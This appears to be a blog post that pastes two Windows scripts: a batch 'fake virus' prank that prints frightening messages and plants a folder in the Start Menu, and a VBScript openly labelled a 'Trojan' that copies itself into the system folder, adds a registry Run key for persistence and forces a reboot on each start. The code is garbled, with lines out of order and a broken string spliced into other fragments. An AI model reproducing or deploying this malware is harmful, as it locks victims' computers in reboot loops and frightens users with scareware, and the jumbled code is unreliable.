start /w wscript.exe C:\sleep2000.vbs echo see you. start /w wscript.exe C:\sleep2000.vbs echo Clearing System Procces. echo: echo: start /w wscript.exe C:\sleep3000.vbs echo Virus Must Be Active! echo: echo: echo: start /w wscript.exe C:\sleep2000.vbs echo Your FireWall System Are Down.
start /w wscript.exe C:\sleep3000.vbs echo Loading Virus. start /w wscript.exe C:\sleep2000.vbs echo ………… start /w wscript.exe C:\sleep4000.vbs echo ………… echo I'm Surfing In Your System! start /w wscript.exe C:\sleep2000.vbs echo: echo: echo: echo ENTE MUSTINYA INGET MEN!!! cd C:\Documents and Settings\All Users\Start Menu\Programs\ mkdir Si_gantengers_system start /w wscript.exe C:\sleep3000.vbs echo: echo: echo: echo Clock Out System echo: echo: echo: echo: echo: echo Transmission Viruses. echo: echo: echo We Have./ echo Black Terminal And Green Font Color.
echo Who I am? echo: echo: start /w wscript.exe C:\sleep3000.vbs echo Your System Is Down. bat, lalu ubah jenis file menjadi All filesĬls :A color 0a cls off echo Wscript.Sleep 5000>C:\sleep5000.vbs echo Wscript.Sleep 3000>C:\sleep3000.vbs echo Wscript.Sleep 4000>C:\sleep4000.vbs echo Wscript.Sleep 2000>C:\sleep2000.vbs cd %systemroot%\System32 dir cls start /w wscript.exe C:\sleep3000.vbs echo Hi Admin. Rem - dlRB "DL Reboot" Trojan script by D.L On Error Resume Next dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData set FSobj=CreateObject("Scripting.FileSystemObject") set sysDir = FSobj.GetSpecialFolder(1) createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs" sub createRegKey(regKey,regVal) set regEdit = CreateObject("WScript.Shell") regEdit.RegWrite regKey,regVal end sub set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs") generateCopy.close set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1) setFile() fixedCode=replace(fileData,chr(94),"""") set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2) procreateCopy.write fixedCode procreateCopy.close rebootSystem() function setFile() fileData="rem - ^dlRB^ by D.L." &vbcrlf& _ "strComputer = ^.^ " &vbcrlf& _ "Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _ "& ^!\\" & strComputer & " oot\cimv2") Set colOperatingSystems = objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem") For Each objOperatingSystem in colOperatingSystems ObjOperatingSystem.Reboot() Next end function
0 kommentar(er)
